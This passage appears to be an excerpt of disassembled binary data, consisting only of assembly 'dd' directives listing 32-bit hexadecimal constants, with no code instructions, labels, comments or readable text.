		dd 5A75D01Ch, 0D1A34000h, 7FECF4h, 63724E0Ch, 163A4384h
		dd 9C0065E4h, 3646E0ABh, 1E756A19h, 0C07EFD6Ch,	0CF672813h
		dd 6E029943h, 476D799Dh, 94C300F9h, 5F2439FAh, 371D3FD5h
		dd 0E403221Dh, 0DB73379h, 0F50CA789h, 4274E030h, 721AD619h
		dd 77D01F08h, 0F63030A7h, 0B68F7821h, 5DDE6F00h, 5E066E8Eh
		dd 8D8500A4h, 34BF6066h, 0B1004479h, 0F5011510h, 1CC32861h
		dd 0A4591C65h, 69AC006Ch, 0AB50FA5Eh, 0BF3B7500h, 8C66C85Bh
		dd 0A76B00B2h, 3AD4AFE0h, 47003E73h, 0C5D65A72h, 0C1B65DF5h
		dd 610BA0B1h, 0F880075Eh, 26E1Ah, 7DA2B6EBh, 0E547B73Ah
		dd 0C4A05D02h, 8035FDB5h, 0FBB02980h, 3994F1F5h, 391428FCh
		dd 10009047h, 0B26112B4h, 0C43DC6D3h, 80CF3E82h, 0BCB557D8h
		dd 273EB6h, 0E7F0DD6Eh,	0C5FB423Ch, 647DF817h, 33347C00h
		dd 0F0745B32h, 0F808FC71h, 0BA6800AEh, 0F97256CDh, 0B776F0BFh
		dd 4138D03h, 981FF643h,	41CE68h, 0C21A15E0h, 6CBB6AC1h
		dd 3B0F083Eh, 4451802Ch, 0D07FC7D5h, 8F2107FAh,	60A0BECFh
		dd 10145742h, 32EE9600h, 6A2E06BFh, 5AE01ABh, 91CEC31Bh
		dd 47E86456h, 0FA48E100h, 502C5C51h, 0AC7F05D8h, 0C054D56Ch
		dd 961C788Eh, 9283DE01h, 6A746768h, 0C236F60h, 1AA630A8h
		dd 57316048h, 0DBF150E0h, 7679A050h, 0AD7F3Ah, 2EC28B08h
		dd 1604F80h, 0FA500D76h, 0A93C4CB8h, 0EB4A8082h, 0A5EF275Ch
		dd 53B7973h, 4FC0B220h,	0E72800FEh, 0C17E4ACh, 82198A38h
		dd 3323AABFh, 9E9C6067h, 42C00082h, 7CB20F79h, 90002848h
		dd 0C5FEFD62h, 0EC2C696h, 26EC1630h, 64BA00D7h,	6BA23E06h
		dd 1E98201Ch, 0F3AC3884h, 8A6E0490h, 57AB07D6h,	111395h
		dd 15751BA8h, 97057626h, 9A203107h, 5A27004Eh, 4468F7h
		dd 8D40ED53h, 0E06730Fh, 20EAC200h, 0A97CCC59h,	7D140011h
		dd 62B7D747h, 75008D2Ch, 0E58BC968h, 687B28E6h,	0F84042h
		dd 9955A29Bh, 8204022Dh, 0CDF719D2h, 63CAA681h,	9470AEFDh
		dd 1ACE630h, 898EA5D5h,	0F0AA8087h, 0F1FB2E26h,	0CAF2D47Eh
		dd 293E5C00h, 6C61BF52h, 72F4031Ch, 7ADC568Dh, 21630837h
		dd 2D6C68D0h, 0AA7D00F4h, 5C9D0D88h, 0EC06DEAFh, 80822870h
		dd 6DB03158h, 0C2269530h, 6C6B3090h, 82F41E11h,	46807688h
		dd 861B6C72h, 38C000B6h, 6FE1EE5Bh, 4A3EA5C6h, 28803052h
		dd 79D63E5Fh, 945800FEh, 54D38955h, 1930F2FDh, 299C1022h
		dd 27173007h, 91FE5E31h, 86B18A3Fh, 0EDB95CB6h,	2180EF08h
		dd 0F091F665h, 0AC31CADBh, 0D0D89160h, 3D566BC8h, 678F2BD5h
		dd 0F8CD8C33h, 39708860h, 69BF0093h, 0A2B819CAh, 0A800CAB8h
		dd 68F667DEh, 38EA73Fh,	0E57F335Dh, 0E1A02FE3h,	940A49BCh
		dd 87879ABAh, 4E7C6D00h, 0F27819E5h, 15920F8Eh,	9100300Dh
		dd 0EF8CF1DAh, 6D298200h, 0F39B6E5Ch, 32D72E13h, 0AA5200BAh
		dd 421FF88Bh, 77FD7A03h, 8013EC72h, 3CBF84h, 0D95767D7h
		dd 1E95F540h, 36859A03h, 0E0707FB6h, 5CDF18h, 99EBD0CBh
		dd 4A2D8FBCh, 38AA58h, 20FE6883h, 0E8653E88h, 245AFAEBh
		dd 3285EEh, 28EA5D84h, 54702BD6h, 21DCCF1Eh, 917F7140h
		dd 0DDECB19h, 652F198h,	0B80E3AAh, 8C0083ECh, 7DCD132Ah
		dd 0CF17A0Ah, 56FE9897h, 1448729h, 1E4744F4h, 0ABB91084h
		dd 8932107h, 0F290236Bh, 48AAE084h, 0C4528F0Fh,	0EF24A580h
		dd 4F00C6A0h, 768B3ABCh, 17B34D4Ah, 0EBBE8E5Eh,	0C03C5800h
		dd 3D08E374h, 0C6003286h, 92ECC9D5h, 0C700101Ch, 3377E7DAh
		dd 2CE0807h, 29444761h,	0DB8E5A9Ah, 7F1A0140h, 7700372Ah
		dd 0CEFD659Bh, 1CE4940Bh, 5F1CA427h, 70BA8C5Fh,	74EC02BAh
		dd 0ACC65214h, 278F008Dh, 0E7812094h, 0D0EC4CF2h, 9F3AE100h
		dd 0DB38A6B5h, 98D070Fh, 2FF4E046h, 263E95h, 0E655AAD3h
		dd 7314C727h, 3172DCFCh, 53721A7Fh, 4656801Ch, 3C07A1Dh
		dd 3F02EB01h, 95D300A3h, 0F5B25ACFh, 0CE5CA580h, 7B5801CEh
		dd 26C2E3A2h, 2AD70h, 0F38929FCh, 0A722164h, 35C18400h
		dd 4F371619h, 5B363F1Ch, 0AE546D80h, 0BEAA95A2h, 0CE174317h
		dd 51E27300h, 0C4FE8FABh, 80A5CD92h, 8EFA8010h,	60730500h
		dd 0BB2AE1FCh, 3F9FE6Dh, 6AD4ADA5h, 20EA5707h, 40AEFBC0h
		dd 541FCE0Eh, 0F4A6A04Dh, 7FEF95h, 0DFBA3035h, 0EC2BEAB8h
		dd 0CB25C700h, 0A40CF98Fh, 57B70093h, 5DFC8C1Ah, 3A00C94Ch
		dd 0AC45EDA5h, 0BD3EB9h, 0FAB18330h, 28F5E6E7h,	0AB029400h
		dd 8AEAE045h, 0D8123DCAh, 87DF549Ch, 306505C1h,	89AD06F2h
		dd 0F9734E00h, 2547BE7Bh, 289900BFh, 62162120h,	0DF303477h
		dd 4ACBE8E2h, 1942003Fh, 0E45E125Fh, 6D00D787h,	0AF16C27h
		dd 0B3F96Fh, 0B56B0779h, 0AAC1AF92h, 8099043Eh,	9E4D77Fh
		dd 37CD4h, 29E50D9Dh, 83123F1h,	73003CE4h, 0E84E803Fh
		dd 7FD95B0Bh, 0B4C800DCh, 182CEF15h, 740E8922h,	0C1795219h
		dd 276CFDAEh, 0F2ACEC40h, 78EC380Fh, 0D8002048h, 0B331248Fh
		dd 0AF007320h, 0B8C2504Eh, 0F3E15Eh, 15035940h,	31E96A56h
		dd 0E45B1A2Ah, 802A7C24h, 1338B240h, 0FCC60064h, 0CFCACC12h
		dd 0DB00E4D0h, 0EDDA099h, 0C3FF2Eh, 41391028h, 142092EAh
		dd 0CFD05B00h, 37C8DCE7h, 0CBA300F8h, 0A4F12F98h, 2137ADEh
		dd 0E7004E6Fh, 0D84F1C4Ch, 1393016Ch, 0A3EBC24Dh, 0E1C0FE3Bh
		dd 0B7073C39h, 0C167B920h, 80EFBAD7h, 8B45C45h,	0B2600CCh
		dd 0CE146335h, 3A0375D4h, 31E0F777h, 0F1203EB7h, 76049A80h
		dd 0F3CD645h, 0E0025272h, 101B9C39h, 4A9440DFh,	0BD501FFCh
		dd 7EBA005Ch, 23F2CE98h, 5AB42E00h, 895655EBh, 6F9E3C1Fh
		dd 0AC8CF881h, 0E02A5E20h, 11C2DDEh, 0A9809574h, 0B03F7A90h
		dd 28EE4C7Ch, 0DC5F6902h
		dd 3261DAEDh, 0CA98D3BCh, 0E0006B44h, 6C5D3024h, 283C463h
		dd 1B02CCE8h, 6EE01A56h, 5C242415h, 530314D2h, 897E6A2Fh
		dd 0C440E854h, 12BD70FEh, 42F5E30Bh, 0E93DAAB8h, 0DC582460h
		dd 594ABB07h, 0DBC0B64Dh, 50BD67h, 75F7A4Eh, 0F0B02E8Ah
		dd 0DD3D977Ch, 173A8A95h, 6100A963h, 83E440B8h,	65780041h
		dd 5B8716BCh, 471289A5h, 0F8208CDAh, 909A87Ah, 7C11EA78h
		dd 5A7F4823h, 1CC080DCh, 4F3A6939h, 11C4C59h, 0C320F76Fh
		dd 10923ECFh, 53C50090h, 1BDA03B7h, 876E8C00h, 2F37A578h
		dd 12409242h, 9F4007h, 2A16F456h, 277A9054h, 8A0ADD3Bh
		dd 0E0A708C3h, 0E4DFCB02h, 60706AECh, 0AE32CA5h, 0E99D85D3h
		dd 0C96B0098h, 0E8E605BFh, 4334AE00h, 860E4265h, 0AB64011Ah
		dd 49D7CFC2h, 684820C5h, 0F0F76000h, 0E6839F4Bh, 87DD006Eh
		dd 0C2820824h, 0DA003E1Eh, 7BFF666Bh, 0EE06A279h, 247F0048h
		dd 27D22185h, 7D01E9CBh, 16403163h, 0CE80F2C2h,	0C734FBB3h
		dd 10E40FE7h, 0A441CD00h, 5AF93BE6h, 0DC974896h, 750B601h
		dd 20CCB5E1h, 0B0A40DC8h, 0ACFA2200h, 669E74D5h, 8A100016h
		dd 950620Eh, 8709726Fh,	0FC8EE6Eh, 0AA9C20F0h, 0E7FABD2h
		dd 0B9AB199h, 786C48C0h, 0D50F82Bh, 6207B8C4h, 94C0C3B3h
		dd 56339D97h, 1C49803Ah, 0CDF000D5h, 0B5C9DAC1h, 2E5859A9h
		dd 770B0330h, 9EC7975h,	0D7E0B968h, 80219304h, 2A76C00Ch
		dd 68A1CD00h, 0E0F940E7h, 6518008Ch, 0A2EB11F4h, 84A0B510h
		dd 8A0C1B2Dh, 0F835096Ah, 450F39F9h, 853D6880h,	8CD656F7h
		dd 9FA7831Dh, 8BF5DB40h, 0E6B19Eh, 0EBE9D774h, 0B423E52Ah
		dd 4A6FD401h, 91C36771h, 66D52CF1h, 118C820h, 0F3AA2A27h
		dd 0F9FE635Ch, 8B17E0DEh, 0C1CEB928h, 0B45DDF09h, 8E2400DAh
		dd 5164A9h, 728F9688h, 27F6CA9Ch, 5EC6420Fh, 62F3E0EFh
		dd 1839A13h, 0B0881490h, 0E0D6525Ch, 3D7929DAh,	45D86104h
		dd 0F8816933h, 430F080h, 0C84B2EBDh, 288EA62Ch,	0F7DCA974h
		dd 2CD8D6E9h, 480F7D20h, 0BD003CC8h, 873CB2E7h,	0CC0010BBh
		dd 0F6DD4CBh, 149FC41Fh, 0C415EA29h, 4FB2017Ch,	0E2C2426Fh
		dd 228020C7h, 99B143Bh,	0F67AC83h, 0E5A30768h, 0EEE38BD1h
		dd 0FCB6FCh, 68267509h,	4E43082Eh, 0C55C9AB8h, 0E0067634h
		dd 0D66DF155h, 0FB030010h, 3DCF021Bh, 26019A37h, 0DEC6837Eh
		dd 409CC9F5h, 0D25240D6h, 0C392F3E2h, 0E5642916h, 7100BF1Eh
		dd 54EF8810h, 0DF5E1C15h, 283C0D9h, 196F476Bh, 0AF00E8B0h
		dd 2B9594F9h, 92B730h, 0AE8F93D0h, 6C586278h, 60E1E500h
		dd 0F6776479h, 67960B0Ch, 5825C57Bh, 188809Ch, 0CC3B098Bh
		dd 287A9840h, 4E3A9F8h,	98B43B88h, 0D57880EDh, 7113EEB3h
		dd 6440584Eh, 304A8AD6h, 2034F368h, 50DFE98h, 0AEF9FC03h
		dd 61C88196h, 6A6C3039h, 0C3579409h, 0E2CC80D3h, 6C5EA9Eh
		dd 843A92E0h, 0A5009059h, 0F528B442h, 4C73DAABh, 0D3264A16h
		dd 12BA00C4h, 46FF8E83h, 0C7E6B704h, 1880706Ch,	82B63Bh
		dd 0D905F6F2h, 0E0CCCDBCh, 97529502h, 40ED51D8h, 26171124h
		dd 42B87D74h, 1600FBF6h, 0C02AB2h, 8808291Dh, 3E1097C1h
		dd 8495C300h, 0C936FE99h, 0B076005Fh, 3118AE40h, 0BB0096C2h
		dd 0D95E91DFh, 15A1935h, 0B0BD0D5Fh, 0F468A83Dh, 0B5000E5Bh
		dd 0F62B79D5h, 6A4188h,	7B933176h, 1DA47EF5h, 0B500CC70h
		dd 29520C5Ch, 1C04A29Bh, 80467386h, 428EA3E6h, 0C2011AAAh
		dd 9CEDF28Ch, 89E8A964h, 0F910002Eh, 0E27FC46Ch, 0B0002CDh
		dd 4EA0DEECh, 1B92A64h,	38BBBC04h, 431E9ED2h, 2EA8A8D8h
		dd 0B730D4A7h, 12777897h, 85E8E2h, 6CAFAC2Ch, 3A1A9AEh
		dd 2C204Ch, 5973EF63h, 266FC0h,	0B4CB6E6h, 9FD80440h, 0BFE45503h
		dd 0A0291135h, 586A30h,	0DD152568h, 648B09BAh, 4AD76300h
		dd 59F16512h, 0E64D04A5h, 0C00DDB84h, 47F22CF5h, 0A737DC00h
		dd 7345108Eh, 0BC3839D2h, 0C1C32880h, 0A6652792h, 0CC848D00h
		dd 0A40AFA29h, 0BB4700B7h, 12FE1A61h, 58389392h, 97E62C21h
		dd 0D0189900h, 4EEDD5Eh, 499139E1h, 89C8803Fh, 1600A87Fh
		dd 8027AAB0h, 1E5E8E29h, 0C099CDFAh, 0B9DB0143h, 1B00157Ch
		dd 7B485EEh, 604E7E2Eh,	208E4099h, 0CA1DC10Dh, 83409CCBh
		dd 0C061F4AAh, 1C6F1C44h, 4E0C4097h, 20082C67h,	0A056FE09h
		dd 0ED1008Fh, 3573ABBh,	49DEDFE2h, 87FC2FD2h, 0D68280ECh
		dd 6F75EB58h, 9DAEA00h,	6A1CA4CFh, 0E99B0057h, 9246BE90h
		dd 7D020A8Dh, 2437AC4Bh, 0AED0C0FAh, 0C1610058h, 0F563BD49h
		dd 0E600C7FFh, 467C899Fh, 1FB20CFAh, 0C0BF675Bh, 0C8280F06h
		dd 40008C23h, 1AF64580h, 1FBF7F1h, 0A32BB4C4h, 0C09FAD86h
		dd 0E300F52Ch, 6106587Dh, 0FE0ABE7Bh, 0C61E07AEh, 1944890h
		dd 2CDAE543h, 80140010h, 5586D9CFh, 3F31003Bh, 8FB51B26h
		dd 0C8B2D2FDh, 889AC226h, 74B0A700h, 1E9806B4h,	0C0D82621h
		dd 2F170F2Ch, 0F5058BFBh, 0A6D1139Eh, 0E70BE085h, 0DEF0A19Fh
		dd 0DDFC9973h, 0E03448B9h, 0A7312907h, 0F82E4062h, 0BA00F0A8h
		dd 75F34DFFh, 2FCB66h, 74F184D4h, 76B3BC2Ch, 9326A37Bh
		dd 0CC80E0C3h, 9A2A6601h, 19F6C2E9h, 93825C2Fh,	1058D637h
		dd 9E0819A0h, 77C24D13h, 0E002900Fh, 7221C13Eh,	7D6D3EF2h
		dd 6BDD2800h, 0A9AC62F1h, 0EDA13500h, 39BFE068h, 421800F3h
		dd 60AEFE13h, 29008D45h, 0DC02221Ah, 0F66D4Ah, 9FD92D30h
		dd 0E01857C8h, 9F90867h, 98FB9C88h, 2C631124h, 0C49B9304h
		dd 4806631h, 29EB723h, 5D394A33h, 5440D0B8h, 0C913350Dh
		dd 7502E77Dh, 605570D7h, 1EB963A7h, 0CB97622Dh,	14008012h
		dd 0AA2583D2h, 5DA3E900h, 2D9355B0h, 8864002Eh,	6031DA68h
		dd 0B9173992h, 6807F402h, 83595401h, 98636BDCh,	2C1A07BBh
		dd 81084A9Ah, 5D99DC8Ah, 4029D551h, 0D3C17A9Ch,	39564930h
		dd 2C3C936Fh, 1BD371B9h, 62C839FCh, 0A4029621h,	67F96015h
		dd 974860F7h, 0FED20331h, 34268F3Fh, 0EAEF0A90h, 49F6CB00h
		dd 0B3301623h, 0A058B04Eh, 429338h, 18E1AB97h, 0A8ACE6AAh
		dd 6BB56A26h, 3C074913h, 0BF0056B8h, 8536C3h, 2CA7E917h
		dd 0FE5888E1h, 0CA728C00h, 0E7654BE4h, 59A1008Dh, 1908317Dh
		dd 88C53892h, 7C028F7h,	90DE0E05h, 3EC800DCh, 722BF284h
		dd 2C277F35h, 5E4C8344h, 0F4FBE076h, 0F8280075h, 1EB86F0Dh
		dd 0F548917Eh, 2B780748h, 0C7A0554Ch, 4AB12A16h, 0F8D4009Ch
		dd 0CA910E30h, 8FA62913h, 1C987F13h, 725C1258h,	0B294001Dh
		dd 4EC88102h, 7995F01h,	5E43EA8Bh, 99A09DCh, 0E1A7EBCBh
		dd 24D968C0h, 0B63A5C11h, 174C9200h, 0CE204E8Ah, 0F071D207h
		dd 30D0DD53h, 0CEAF166h, 81ECCB0Ch, 0D1261A98h,	1F0074E1h
		dd 74DC9193h, 9BB7A32h,	0EDDA2426h, 364FC801h, 207EDCCDh
		dd 3BE6A0C0h, 2E4B8D3h,	626A5421h, 644115B0h, 5C93ECE0h
		dd 51505D03h, 0E88B3C53h, 0A1E581F4h, 943D2378h, 0D9804638h
		dd 7AB60389h, 31097591h, 334EF7Fh, 0F1492F24h, 0DBE3FAC1h
		dd 0D7A6E197h, 104A020h, 794F7CE4h, 20ABED36h, 0C028C5Ch
		dd 32DED0A0h, 2D8802Ch,	6C49FCh, 0C330D6E7h, 0F7BB904Eh
		dd 0E5DFE601h, 2263B279h, 3D8EB5C8h, 9A023BC4h,	35F7FD0Ch
		dd 0E1C3D0C0h, 0F3C0E300h, 0D3FCDDF8h, 83D8285Bh, 0F96009Ch
		dd 0C6CFA678h, 6CB44FF9h, 6E5C5280h, 0ECDEF181h, 1ECA0024h
		dd 73368756h
		dd 4162D22h, 0C007437h,	5A21BD5Fh, 0C0281CA4h, 0CEF700B0h
		dd 91D540F3h, 0F8C3D401h, 0FF6CC170h, 0CBC4AC25h, 1824FFAFh
		dd 0A040015h, 0F8771D27h, 2E0C395Eh, 0EEB55029h, 33D81C98h
		dd 0E962C0EDh, 4685F354h, 3D5CE890h, 0B73E00FCh, 4F359178h
		dd 0DBB11E1Ch, 375A0B54h, 0FE82A480h, 71E09BBBh, 0A32AE309h
		dd 8A6429D0h, 4C071876h, 8E1C9CAh, 9C3D3D7h, 699E38A0h
		dd 0CFFEF868h, 13BF0A07h, 3A40C4A4h, 9A7C96C1h,	8E0C0FFCh
		dd 0FB0AF31Fh, 859674h,	2793FD4h, 8B50E490h, 8F00D8CCh
		dd 0C8D4D060h, 1F209DEDh, 1FBD63h, 0E026DD5Fh, 3B06E3B1h
		dd 9ABBE56h, 1BDE1DA8h,	0DC2C809Bh, 230557D2h, 0F583A300h
		dd 162AF117h, 0F73D0EBFh, 0D1C07FCAh, 0A588082Dh, 425F0600h
		dd 7D9340CBh, 0CD79019Dh, 90A9B3Ch, 31F3C0B8h, 3F4EF802h
		dd 400EDED1h, 0FC266Ch,	8945E621h, 0FF723720h, 4A47A105h
		dd 9800B17Ch, 0FB52827h, 38988Dh, 15D19979h, 2CA23C24h
		dd 0CE30DF00h, 5B876B10h, 2A1C71FFh, 0F44C5Ah, 6A28D98Ch
		dd 55F62DCAh, 99E3ED00h, 1ADF5457h, 0A22F0060h,	0F1E60912h
		dd 4D17C6C4h, 16004CC7h, 86B0A90h, 0F68716DBh, 0EFE8008Fh
		dd 7EDF8E81h, 0B00E8A00h, 16AC552Eh, 0C6CB0FA7h, 15837B9Eh
		dd 43C565A1h, 3F80ECF0h, 7F6F50E7h, 0FB02B9D5h,	0B6878D48h
		dd 1AE7C070h, 11730C6Ah, 8629C515h, 0F74EDE00h,	822EC0EAh
		dd 34475B4h, 628F1E4Ah,	9003D64Dh, 0C5EC438Dh, 7E15A80Dh
		dd 68610085h, 3CABBD08h, 78159CEEh, 2EE836F0h, 0D4000854h
		dd 0D6560269h, 0CEEF1F68h, 400B8D1h, 0B448AF28h, 22000821h
		dd 94263836h, 16E1AE20h, 40066692h, 0CC8313D4h,	701FC490h
		dd 3CD8EB96h, 3CFDB161h, 0C11D5FCFh, 6741D17h, 20947D83h
		dd 10545D31h, 2C1346E8h, 0CE2DBBC0h, 0E0E5141Dh, 80665E8Eh
		dd 0DA0F885Ch, 73F62C98h, 0AF960194h, 0D021B041h, 0B8009EE1h
		dd 0C7BA1D60h, 0C445BE3h, 3F2048C1h, 0B11C2589h, 61C60BAFh
		dd 0C7785BCFh, 99EE332h, 75CBD8C0h, 3C1E434Fh, 3AE72405h
		dd 0DDBF200h, 1F34EC0Bh, 4CA0DA23h, 2C2CA86Bh, 0A8C09875h
		dd 7ECA5A31h, 721000Ch,	0CC6F1D9Fh, 1E1CD44Fh, 0C9C00990h
		dd 0A13112CAh, 397FEC42h, 0D707BEC4h, 0F70F757Ah, 0CC3C4080h
		dd 0E4007BF2h, 13CE4C23h, 3BC024B9h, 0C813FCA9h, 4B950053h
		dd 98E50EDDh, 0BA23D0Fh, 0E3B6A02Fh, 7D9DEAh, 783B32ADh
		dd 0EA6018Ah, 0E4380500h, 56C56B43h, 60F7014Dh,	1DB47759h
		dd 65766085h, 4A3DF502h, 8009AAB7h, 76E2CC80h, 0A0F45401h
		dd 35E7Ah, 23157234h, 0CDEA7851h, 3A082600h, 0EEDD746Ch
		dd 2AA60087h, 0BC22338Ah, 3F0082D6h, 88C20805h,	1FD4F19Bh
		dd 8EFCA326h, 936C7Bh, 0FD992CCCh, 6A0319ABh, 0C81FE73Dh
		dd 0B4A0959Bh, 0DF2200A7h, 70F260C6h, 0F11FC357h, 0FDC01CCBh
		dd 0F4FE4717h, 140F0D2h, 0A3A6F41h, 0F442F2FFh,	0C500979Ch
		dd 0CA4A59F6h, 3F5BDh, 87153AB1h, 0D1528821h, 0D743B8A0h
		dd 5B13E003h, 0B878D957h, 0B6FF8B42h, 0A98F00E0h, 91B1E792h
		dd 59D1EA00h, 0C6F5E14h, 0D03403B6h, 1AEC0FE5h,	0ABA27FA0h
		dd 87C73301h, 0FE6FBE73h, 3FF570h, 4F95123Eh, 0AD82373Bh
		dd 0D20B7C04h, 44C08D25h, 0E4C9F738h, 91231F48h, 0C2741267h
		dd 1C541A0Ch, 0C413F589h, 0A57000B0h, 5EDE0BE3h, 0A82CAFCEh
		dd 550014E6h, 855C3A49h, 0F58D0C47h, 0A548C8C4h, 42934425h
		dd 987C6E5Ch, 0A8A0508h, 807C248Eh, 3DBB15DDh, 0A084EF04h
		dd 30B09AD4h, 0E05F5BDAh, 0E87B4666h, 20DE7E00h, 70DBDC29h
		dd 6CD53EF6h, 418D6180h, 0D9429630h, 4ACAF800h,	71DE743Fh
		dd 34F4F385h, 0A7C43F69h, 8B089680h, 0F2C1CEA5h, 1FE94C00h
		dd 0EEAFA214h, 58E507BEh, 80DD78B5h, 8A619904h,	5441A100h
		dd 0FF9CBA39h, 38920FC8h, 8F604C75h, 5540427Ah,	7E708D00h
		dd 0C7DF0D15h, 334400CAh, 26FB73Bh, 9B724721h, 8536DE3Ah
		dd 0A99475DCh, 9A54D000h, 71DBFh, 0F48630B1h, 4C4F5139h
		dd 0FD897800h, 7345A8A4h, 5DE30713h, 531EFAC9h,	0B74457h
		dd 24629796h, 0DA506E04h, 38D28D6Fh, 0BCF827h, 613315Eh
		dd 212A3A38h, 0C061B92Ah, 0DB18A100h, 0FB744E7Dh, 2917B10h
		dd 0F075300Ah, 6440EABEh, 0AA00547Bh, 2BC9D56Eh, 1C3B02B4h
		dd 5F81C69Dh, 890899Ch,	16888C10h, 7A955D00h, 479A31EAh
		dd 66F232DAh, 8A20E891h, 364B05h, 9B40BD55h, 0A6C7D23Dh
		dd 8C0259h, 169593C2h, 2E0CBC31h, 46EE8B1h, 0B070F052h
		dd 0E600B0FCh, 4B86410Bh, 4DCE13C1h, 711D0CC6h,	47164081h
		dd 652B3A6Ch, 19045C13h, 613BC50Ch, 0F0900125h,	92807B08h
		dd 0C478DA67h, 290311EEh, 71CDE6B4h, 2899803Bh,	9A0107D9h
		dd 308D6E7Dh, 3425C4E8h, 0F051C0Bh, 333B80E6h, 69AA3Eh
		dd 248804A6h, 106A4F83h, 0F82FB900h, 777259E0h,	0B1B00016h
		dd 0FD125FEAh, 0FC002A1Eh, 76C6DAF3h, 0F27DABh,	5C31754Bh
		dd 0E65BCD2Bh, 39F7EB00h, 1CF43895h, 537100ACh,	0FCBEEC87h
		dd 44745EE2h, 22686503h, 0D3591E05h, 0E915A0A5h, 8E9F0EF4h
		dd 8C204346h, 0A42198E4h, 0D4052D00h, 0FB4FA81Ah, 5D6B05A5h
		dd 0C0DD5423h, 598044DEh, 77C4F017h, 4E163E00h,	3F7F8357h
		dd 7DD7BEh, 12050FE3h, 3FCA33C2h, 78A1E730h, 1F17F427h
		dd 5F1A1Dh, 542E1576h, 0D4015E80h, 724B1E20h, 0A0506D8Dh
		dd 6466F0h, 88325381h, 83EF8523h, 0D0971F0Ch, 0F6C880Bh
		dd 0B17E8BB0h, 49EC03Fh, 0E3B83370h, 299F7D0Ch,	191005h
		dd 307E80A1h, 58F91A09h, 35790600h, 0E522DF73h,	0C7430F3Fh
		dd 0C09F3065h, 9295E9D8h, 0F5074703h, 43A8B15Eh, 6707Ch
		dd 5BA4B5E8h, 0A0354AD6h, 362A7A00h, 3E28C94Ch,	4BD700E2h
		dd 6D804363h, 83EAEBBFh, 1FF03A07h, 0FE322DB8h,	3CAA40CFh
		dd 0AB6B0070h, 0AE25852Ah, 423B0F82h, 0B48800DDh, 5B408CCFh
		dd 0E1B70ACEh, 0F8CD83h, 722715C1h, 1113970Dh, 3203C77Eh
		dd 909B1496h, 740B18Fh,	9E936642h, 0E9C30FEh, 0FF302C1Bh
		dd 2A70FA46h, 0B70A173Ch, 0D7A400C5h, 1BB87A03h, 1F0BA700h
		dd 0A4741A69h, 0FE3B3B8Bh, 979B4186h, 0CB008842h, 0FA13EE93h
		dd 35B8C2h, 55FF3982h, 0D93C283Eh, 6FA26003h, 3C053269h
		dd 0CB82CA34h, 373E68F9h, 0D8F0C4A0h, 44A07A9Fh, 7844BA81h
		dd 0E03F1F29h, 802FDE89h, 681E0D70h, 6538883Bh,	3A4B0717h
		dd 5060C82Ch, 1E616A6h,	0D7AB08Bh, 51E96BF9h, 0C8B2BFB4h
		dd 2900B837h, 33F475EAh, 7323310Fh, 0D1190026h,	9B302E90h
		dd 75001461h, 99EC7BAEh, 7D95A2DAh, 8C411CD8h, 0A5D9409Ch
		dd 7BE1EF86h, 1D8B9400h, 577F4BCAh, 809B1D2Dh, 0AC8C4304h
		dd 0B7D8EC96h, 0A00261Ah, 0A1466DD0h, 5DE5FDh, 6B85C908h
		dd 20A3397Dh, 0B642E809h, 35C0031h, 0C9D31Fh, 0B4B2599Dh
		dd 0D168EC81h, 0E1F7E816h, 9B83F000h, 79BF82h, 33A1153Fh
		dd 0C1134F35h, 7145EF00h, 0C6D6D2BAh, 3B07B036h, 0FA06460Dh
		dd 6040F6FCh, 16763409h, 1494207Fh, 1511E66h, 741F506Fh
		dd 0F05A9F90h, 0A606A0F4h, 5B7B8B77h, 9E4E110h,	0A33D0065h
		dd 9145399Fh, 5200666Ah, 0EEA9BF75h, 0FC7FD8DBh, 0E6B300A6h
		dd 25D3A030h, 0E13EC5EDh, 5455002Ch, 69731B35h,	9E50C0FEh
		dd 0AFDB1FF4h, 0FFFC48A0h, 0B8C554A0h, 0C33AE8FEh, 0C6470AA0h
		dd 1C48100Fh, 0A0188240h
		dd 4854076Bh, 0F04AE777h, 841164DEh, 0D4D88502h, 0E04C7DCCh
		dd 0B9AC8Bh, 0C8873179h, 5B061763h, 0A7A90400h,	0C650360Eh
		dd 796600F6h, 0FDB07340h, 0DF30F706h, 11B56832h, 836B0027h
		dd 0CE46FED4h, 0BD7B03AAh, 55D9DF01h, 209FB359h, 2BDC67D9h
		dd 21D200B1h, 5F646B94h, 1900166Fh, 7695FCF6h, 0BBA482h
		dd 66DDF8E2h, 2DE0CCA2h, 0FA1F171Eh, 515F3101h,	0DF368Fh
		dd 82E97620h, 0C1E714E5h, 10EA858h, 9481D6Eh, 7FED4225h
		dd 4A35F0h, 0B80C1EB6h,	79C783F4h, 2EC5074h, 4CA7471Fh
		dd 30D12D80h, 0AC3667h,	699C5203h, 0C10D1675h, 6F6C3C00h
		dd 9BB1A898h, 0D46B3F49h, 1AC2D902h, 0DC491947h, 880C91h
		dd 4178B650h, 0E1C184FAh, 686B3B00h, 0E2E5C35Eh, 27C7007Fh
		dd 359B5224h, 84ECFCE7h, 5100F87Ah, 1557C14Ah, 4969ACh
		dd 7BAB54F3h, 3A07920Dh, 0FB7A021Dh, 0C05D5C07h, 39A6BFA0h
		dd 0BB460062h, 0C9543678h, 1204BA68h, 736B9AF5h, 3AE90C90h
		dd 6A9263Fh, 407B130Eh,	13C73B28h, 704DFBC6h, 9AEB243Ch
		dd 4CECCA00h, 380B989h,	8E66F351h, 0B2989CD6h, 0F239F043h
		dd 309A3B61h, 3AC1615Eh, 4A6EA39h, 5B0D2414h, 5880EB5Ch
		dd 79431Ah, 1FAF177h, 0F0DF4C7Ah, 0A5965900h, 0ECFF0EE0h
		dd 0F73907D9h, 0A078A073h, 0F3620493h, 0D0B87F00h, 0E28E3222h
		dd 0D44500B1h, 59D11CC0h, 540EDF08h, 404768E5h,	99E66348h
		dd 25491678h, 80481F83h, 0AA3981AEh, 0A93958A3h, 136F009Eh
		dd 41B3CB96h, 1C0B00D3h, 31618184h, 3B007FA4h, 0FA02A253h
		dd 3EA2F87h, 6A0AC5E8h,	50B7A61Fh, 5AA7E63Ah, 2B0F04FAh
		dd 0A1087057h, 0F08C8371h, 92D3CCh, 63EC7A15h, 589606BFh
		dd 0AEC6B002h, 0C8513E25h, 9D128Ch, 8FB2B47Fh, 8D806CECh
		dd 25052F0h, 2000ADC0h,	0D3E5E1Ah, 6AF681h, 8BE7AF83h
		dd 0DDA4475Bh, 84B6191Fh, 5A234102h, 87E8C062h,	6FC0CA9h
		dd 8E6614B9h, 0A8663Fh,	9CC6358h, 0D0239h, 975F8CB6h, 0C11FAD7Ch
		dd 876F1C00h, 33C62BD8h, 325E489h, 8E733C12h, 0B811CFA1h
